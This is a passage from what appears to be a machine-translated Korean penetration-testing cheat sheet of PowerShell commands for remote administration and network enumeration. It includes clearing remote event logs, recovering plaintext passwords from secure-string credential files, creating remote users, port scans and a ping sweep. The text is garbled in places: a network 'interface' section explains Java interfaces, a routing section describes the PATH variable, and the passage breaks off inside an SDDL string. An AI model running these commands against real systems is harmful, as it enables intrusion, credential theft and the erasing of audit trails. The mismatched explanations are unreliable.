원격 서비스 중지하기

Stop-Service -ComputerName <target> -Name <serviceName>

원격 서비스 재시작하기

Restart-Service -ComputerName <target> -Name <serviceName>

원격 서비스 설치하기

New-Service -ComputerName <target> -Name <serviceName> -BinaryPathName <binaryPath>

원격 서비스 제거하기

Remove-Service -ComputerName <target> -Name <serviceName>

원격 이벤트 로그

PowerShell을 사용하여 원격 시스템의 이벤트 로그를 읽고 분석할 수 있습니다.

원격 이벤트 로그 가져오기

Get-EventLog -ComputerName <target> -LogName <logName>

원격 이벤트 로그 필터링하기

Get-EventLog -ComputerName <target> -LogName <logName> -InstanceId <eventID>

원격 이벤트 로그 지우기

Clear-EventLog -ComputerName <target> -LogName <logName>

원격 프로세스 관리

PowerShell을 사용하여 원격 시스템에서 프로세스를 관리할 수 있습니다.

원격 프로세스 목록 가져오기

Get-Process -ComputerName <target>

원격 프로세스 종료하기

Stop-Process -ComputerName <target> -Name <processName>

원격 프로세스 실행하기

Invoke-Command -ComputerName <target> -ScriptBlock { Start-Process -FilePath <path> }

원격 파일 조작

PowerShell을 사용하여 원격 시스템에서 파일을 생성, 복사, 이동, 삭제할 수 있습니다.

원격 파일 생성하기

Invoke-Command -ComputerName <target> -ScriptBlock { New-Item -Path <path> -ItemType File }

원격 파일 복사하기

Copy-Item -Path <sourcePath> -Destination <destinationPath> -ToSession <session>

원격 파일 이동하기

Move-Item -Path <sourcePath> -Destination <destinationPath> -ToSession <session>

원격 파일 삭제하기

Remove-Item -Path <path> -ToSession <session>

원격 네트워크 연결

PowerShell을 사용하여 원격 시스템에서 네트워크 연결을 관리할 수 있습니다.

원격 네트워크 드라이브 연결하기

New-PSDrive -Name <driveName> -PSProvider FileSystem -Root <path> -Credential <credentials>

원격 네트워크 드라이브 연결 해제하기

Remove-PSDrive -Name <driveName>

원격 네트워크 공유 가져오기

Get-SmbShare -ComputerName <target>

원격 네트워크 공유 생성하기

New-SmbShare -Name <shareName> -Path <path> -FullAccess <user>

원격 네트워크 공유 삭제하기

Remove-SmbShare -Name <shareName>

원격 사용자 관리

PowerShell을 사용하여 원격 시스템에서 사용자를 관리할 수 있습니다.

원격 사용자 목록 가져오기

Get-LocalUser -ComputerName <target>

원격 사용자 생성하기

New-LocalUser -ComputerName <target> -Name <username> -Password (ConvertTo-SecureString -String "<password>" -AsPlainText -Force)

원격 사용자 삭제하기

Remove-LocalUser -ComputerName <target> -Name <username>

원격 사용자 비밀번호 변경하기

Set-LocalUser -ComputerName <target> -Name <username> -Password (ConvertTo-SecureString -String "<newPassword>" -AsPlainText -Force)
Get-Service

안전한 문자열에서 비밀번호

In some cases, you may come across a secure string that contains a password. To retrieve the password from the secure string, you can use the following PowerShell command:

$secureString = ConvertTo-SecureString -String "encryptedPassword" -AsPlainText -Force
$plainTextPassword = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))

Replace "encryptedPassword" with the actual value of the secure string. After executing the above commands, the variable $plainTextPassword will contain the password in plain text.

Please note that this method should be used with caution, as it involves storing the password in memory in plain text format, which can be a security risk.

$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password

예약된 작업

Scheduled Tasks(예약된 작업)은 Windows 운영 체제에서 특정 시간 또는 이벤트에 따라 실행되는 자동화된 작업입니다. 이러한 작업은 시스템 유지 관리, 데이터 백업, 프로그램 실행 등 다양한 용도로 사용될 수 있습니다. 예약된 작업은 일반적으로 PowerShell을 사용하여 생성, 수정 및 삭제할 수 있습니다.

예약된 작업 확인

예약된 작업을 확인하려면 다음 명령을 실행합니다.

Get-ScheduledTask

예약된 작업 생성

예약된 작업을 생성하려면 다음 명령을 사용합니다.

New-ScheduledTask -Action <Action> -Trigger <Trigger> -Principal <Principal> -Settings <Settings>

여기서 <Action>, <Trigger>, <Principal>, <Settings>는 각각 작업의 실행 동작, 트리거, 주체 및 설정을 나타냅니다.

예약된 작업 수정

예약된 작업을 수정하려면 다음 명령을 사용합니다.

Set-ScheduledTask -TaskName <TaskName> -Action <Action> -Trigger <Trigger> -Principal <Principal> -Settings <Settings>

여기서 <TaskName>, <Action>, <Trigger>, <Principal>, <Settings>는 각각 작업의 이름, 실행 동작, 트리거, 주체 및 설정을 나타냅니다.

예약된 작업 삭제

예약된 작업을 삭제하려면 다음 명령을 사용합니다.

Remove-ScheduledTask -TaskName <TaskName>

여기서 <TaskName>은 삭제할 작업의 이름입니다.

예약된 작업 실행

예약된 작업을 수동으로 실행하려면 다음 명령을 사용합니다.

Start-ScheduledTask -TaskName <TaskName>

여기서 <TaskName>은 실행할 작업의 이름입니다.

예약된 작업 비활성화

예약된 작업을 비활성화하려면 다음 명령을 사용합니다.

Disable-ScheduledTask -TaskName <TaskName>

여기서 <TaskName>은 비활성화할 작업의 이름입니다.

예약된 작업 활성화

예약된 작업을 활성화하려면 다음 명령을 사용합니다.

Enable-ScheduledTask -TaskName <TaskName>

여기서 <TaskName>은 활성화할 작업의 이름입니다.

Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

네트워크

포트 스캔

# Check Port or Single IP
Test-NetConnection -Port 80 10.10.10.10

# Check Port List in Single IP
80,443,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null

# Check Port Range in single IP
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.10", $_)) "TCP port $_ is open"} 2>$null

# Check Port List in IP Lists - 80,443,445,8080
"10.10.10.10","10.10.10.11" | % { $a = $_; write-host "[INFO] Testing $_ ..."; 80,443,445,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("$a",$_)) "$a : $_ is open!"} 2>$null}

인터페이스

An interface is a contract that defines a set of methods that a class must implement. It provides a way to achieve abstraction in Java, allowing us to define the behavior of a class without specifying the implementation details.

인터페이스는 클래스가 구현해야 하는 메서드 집합을 정의하는 계약입니다. 이는 자바에서 추상화를 달성하는 방법을 제공하여 구현 세부 정보를 지정하지 않고 클래스의 동작을 정의할 수 있게 합니다.

Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

방화벽

A firewall is a network security device that monitors and controls incoming and outgoing network traffic based on predetermined security rules. It acts as a barrier between a trusted internal network and an untrusted external network, such as the internet. Firewalls can be implemented as hardware devices, software programs, or a combination of both.

방화벽은 미리 정의된 보안 규칙에 따라 들어오고 나가는 네트워크 트래픽을 모니터링하고 제어하는 네트워크 보안 장치입니다. 신뢰할 수 있는 내부 네트워크와 인터넷과 같은 신뢰할 수 없는 외부 네트워크 사이에 장벽 역할을 합니다. 방화벽은 하드웨어 장치, 소프트웨어 프로그램 또는 둘의 조합으로 구현될 수 있습니다.

Get-NetFirewallRule -Enabled True

Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow

# Open SSH to the world
New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow

# Get name, proto, local and rremote ports, remote address, penable,profile and direction
## You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property  DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action

경로

경로는 시스템에서 실행되는 프로그램이나 명령어를 찾는 데 사용되는 경로입니다. 일반적으로 시스템은 PATH 환경 변수에 정의된 경로를 검색하여 실행 파일을 찾습니다. 경로에는 실행 파일이나 스크립트가 위치한 디렉토리가 포함될 수 있습니다.

경로를 확인하려면 다음 명령어를 사용할 수 있습니다.

$env:Path

경로에 새로운 디렉토리를 추가하려면 다음 명령어를 사용할 수 있습니다.

$env:Path += ";C:\new\directory"

경로에 새로운 디렉토리를 추가한 후에는 해당 디렉토리에 있는 실행 파일이나 스크립트를 실행할 수 있습니다.

route print

ARP

ARP(Address Resolution Protocol)은 IP 주소를 물리적 MAC 주소로 매핑하는 프로토콜입니다. 이 프로토콜은 네트워크 장치들이 통신할 때 사용됩니다. ARP는 로컬 네트워크에서 작동하며, IP 주소를 MAC 주소로 변환하여 패킷을 전송합니다.

ARP는 다음과 같은 몇 가지 유형의 메시지를 사용합니다:

  • ARP Request: IP 주소에 대한 MAC 주소를 요청하는 메시지입니다.

  • ARP Reply: 요청에 대한 응답으로 MAC 주소를 제공하는 메시지입니다.

ARP는 네트워크 공격에 취약할 수 있습니다. ARP 스푸핑, ARP 포이즈닝 및 ARP 캐시 포이즈닝과 같은 공격 기술을 사용하여 중간자 공격을 수행할 수 있습니다. 이러한 공격은 네트워크 트래픽을 가로채고 조작하여 정보를 유출하거나 변조할 수 있습니다.

ARP 공격을 방지하기 위해 네트워크 장비에는 ARP 스푸핑 탐지 및 방지 기능이 포함되어야 합니다. 또한, ARP 테이블을 주기적으로 확인하고 이상한 동작을 감지하는 것이 좋습니다.

Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

호스트

Hosts 파일은 운영 체제에서 IP 주소와 호스트 이름을 매핑하는 데 사용되는 로컬 파일입니다. 이 파일을 수정하여 특정 호스트 이름을 원하는 IP 주소로 연결할 수 있습니다. 이는 DNS 서버를 우회하고 특정 웹 사이트를 차단하거나 리디렉션하는 데 사용될 수 있습니다.

위치

Windows 운영 체제에서 Hosts 파일은 다음 경로에 있습니다.

C:\Windows\System32\drivers\etc\hosts

수정

Hosts 파일을 수정하려면 다음 단계를 따르세요.

  1. 텍스트 편집기를 사용하여 Hosts 파일을 엽니다.

  2. 원하는 호스트 이름과 IP 주소를 추가하거나 수정합니다.

  3. 파일을 저장하고 닫습니다.

주의 사항

Hosts 파일을 수정할 때 다음 사항을 유의해야 합니다.

  • 호스트 이름과 IP 주소는 탭 또는 공백으로 구분되어야 합니다.

  • 주석은 #으로 시작합니다.

  • 수정한 후에는 변경 사항이 즉시 적용되지 않을 수 있으므로 컴퓨터를 다시 시작하거나 DNS 캐시를 지워야 할 수도 있습니다.

사용 예시

다음은 Hosts 파일을 사용하여 특정 웹 사이트를 차단하는 예시입니다.

# 차단할 웹 사이트
127.0.0.1   example.com
127.0.0.1   www.example.com

위의 예시에서는 example.comwww.example.com을 로컬 IP 주소인 127.0.0.1로 연결하여 해당 웹 사이트에 대한 액세스를 차단합니다.

Get-Content C:\WINDOWS\System32\drivers\etc\hosts

ping 명령은 네트워크 상태를 확인하기 위해 사용되는 유용한 도구입니다. 이 명령은 목적지 호스트에 ICMP 패킷을 보내고 응답을 기다립니다. 이를 통해 목적지 호스트와의 연결 상태를 확인할 수 있습니다.

사용법

ping <목적지 호스트>
  • <목적지 호스트>: 핑을 보낼 목적지 호스트의 IP 주소 또는 도메인 이름입니다.

예제

ping 8.8.8.8

위의 예제에서는 Google의 공개 DNS 서버인 8.8.8.8로 핑을 보냅니다. 이를 통해 목적지 호스트와의 연결 상태를 확인할 수 있습니다.

결과 해석

핑 명령의 결과는 다음과 같은 정보를 제공합니다.

  • Reply from <목적지 호스트>: 목적지 호스트로부터 응답이 도착했음을 나타냅니다.

  • Request timed out: 목적지 호스트로부터 응답이 없음을 나타냅니다.

  • Destination host unreachable: 목적지 호스트에 도달할 수 없음을 나타냅니다.

  • TTL expired in transit: 패킷이 네트워크에서 유효 기간이 만료되었음을 나타냅니다.

패킷 손실률 계산

핑 명령의 결과를 통해 패킷 손실률을 계산할 수 있습니다. 패킷 손실률은 응답이 없는 패킷의 비율로, 네트워크 상태를 평가하는 데 도움이 됩니다.

패킷 손실률은 다음과 같이 계산할 수 있습니다.

(손실된 패킷 수 / 전송한 패킷 수) * 100

주의사항

  • 핑 명령은 ICMP 패킷을 사용하므로 목적지 호스트에서 ICMP 트래픽을 허용해야 합니다.

  • 일부 방화벽이 ICMP 트래픽을 차단할 수 있으므로 결과가 차단된 것처럼 보일 수 있습니다.

  • 핑 명령은 네트워크 상태를 확인하는 데 유용하지만, 보안 취약점을 찾는 데에는 제한적입니다.

$ping = New-Object System.Net.Networkinformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }

SNMP

SNMP(Simple Network Management Protocol)은 네트워크 장치들을 관리하기 위해 사용되는 프로토콜입니다. SNMP는 네트워크 장치들의 상태를 모니터링하고, 구성을 변경하고, 장애를 진단하는 등의 작업을 수행할 수 있습니다.

SNMP는 에이전트와 관리자 사이의 통신을 위해 사용됩니다. 에이전트는 네트워크 장치에 설치된 소프트웨어로, 관리자에게 장치의 정보를 제공하고 명령을 수행합니다. 관리자는 SNMP 관리 소프트웨어를 사용하여 에이전트와 통신하고, 장치들을 모니터링하고 제어할 수 있습니다.

SNMP는 주로 네트워크 장치들의 성능, 가용성, 구성 등을 모니터링하기 위해 사용됩니다. SNMP는 간단하고 효율적인 프로토콜이며, 다양한 장치들과 호환되기 때문에 널리 사용됩니다.

SNMP는 보안상의 이슈가 있을 수 있으므로, 적절한 보안 조치를 취해야 합니다. SNMPv3는 인증과 암호화를 지원하여 보안을 강화할 수 있습니다. 또한, SNMP 커뮤니티 문자열을 임의로 설정하는 것을 피하고, 액세스 제어 목록(ACL)을 사용하여 SNMP 트래픽을 제한하는 것이 좋습니다.

SNMP는 네트워크 관리에 필수적인 도구이지만, 악용될 수도 있습니다. 따라서, SNMP를 사용하는 경우 보안을 강화하는 것이 중요합니다.

Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

SDDL 문자열을 읽기 쉬운 형식으로 변환하기

To convert the SDDL (Security Descriptor Definition Language) string into a readable format, you can use the ConvertFrom-SddlString cmdlet in PowerShell. This cmdlet allows you to convert the SDDL string into an object that can be easily manipulated and understood.

SDDL strings are used to represent security descriptors in Windows. These security descriptors define the permissions and access control settings for various objects, such as files, folders, and registry keys.

Here is an example of how to use the ConvertFrom-SddlString cmdlet:

$sddlString = "O:BAG:BAD:(A;;0x1;;;S-1-5-21-1234567890-1234567890-1234567890-1000)(A;;0x2;;;S-1-5-21-1234567890-1234567890-1234567890-1001)"
$securityDescriptor = ConvertFrom-SddlString -Sddl $sddlString
$securityDescriptor

This will output the converted security descriptor object, which you can then analyze and interpret. The object will contain information about the owner, group, and access control entries (ACEs) defined in the SDDL string.

By converting the SDDL string into a readable format, you can easily understand the permissions and access control settings defined for a particular object, which can be useful for security analysis and troubleshooting.


PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;614aea82-abc6-4dd0-a148-d67a59c72816;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;66437984-c3c5-498f-b269-987819ef484b;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;2cc06e9d-6f7e-426a-8825-0215de176e11;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;3263e3b8-fd6b-4c60-87f2-34bdaa9d69eb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;7cb4c7d3-8787-42b0-b438-3c5d479ad31e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-526)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-527)(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CCDCLCRPWPLO;f0f8ffac-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;CCDCLCRPWPLO;e8b2aff2-59a7-4eac-9a70-819adef701dd;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aa5-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;5cb41ed0-0e4c-11d0-a286-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;WD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;CO)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;c975c901-6cea-4b6f-8319-d67f45449506;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;f0f8ffac-1191-11d0-a060-00aa006c33ed;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CINPIO;RPWPLOSD;;e8b2aff2-59a7-4eac-9a70-819adef701dd;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;BA)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;e2a36dc9-ae17-47c3-b58b-be34c55ba633;;S-1-5-32-557)(OA;CIIO;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIO;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIO;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;CR;05c74c5e-4deb-43b4-bd9f-86664c2a7fd5;;AU)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;ED)(OA;;CR;ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501;;AU)(OA;;CR;280f369c-67c7-438e-ae98-1d46f3c6f541;;AU)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC